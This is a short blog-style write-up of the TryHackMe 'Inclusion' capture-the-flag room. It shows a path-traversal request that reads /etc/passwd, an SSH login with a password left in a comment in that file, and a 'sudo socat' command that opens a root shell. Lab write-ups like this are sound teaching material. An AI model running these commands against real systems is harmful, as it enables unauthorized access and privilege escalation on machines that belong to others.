chris beech

portfolio
cv.pdf

Inclusion

After starting the machine on tryhackme we are given the IP 10.10.110.21;
A quick nmap scan reveals 2 open ports, 22 and 80.

nmap image of target

Looking at the target webpage using cURL shows the link;

href="/article?name=hacking"

With the name of the challenge being 'Inclusion' its worth trying an LFI (local file inclusion) attack and see what happens.

curl -s -i http://10.10.110.21/article?name=../../../../etc/passwd"

This has allowed us to view the /etc/passwd file which seams to have a commented line;

/etc/passwd file
#falconfeast:rootpassword

Strange. I wonder if we can use this credential to log into the box via ssh. Lets give it a try.

Logged in as user falconfeast

Woop it worked. Now we are logged in as falconfeast. One of the first things I like do is check if the user has sudo rights so lets try that;

sudo -l
falconfeast displaying sudo

sudo says that our user is able to run 'socat' as root user, this will allow us to escalate our privileges and execute a root shell using the following command;

sudo socat stdin exec:/bin/sh
using socat to gain root shell

Thats it we now have a root shell :)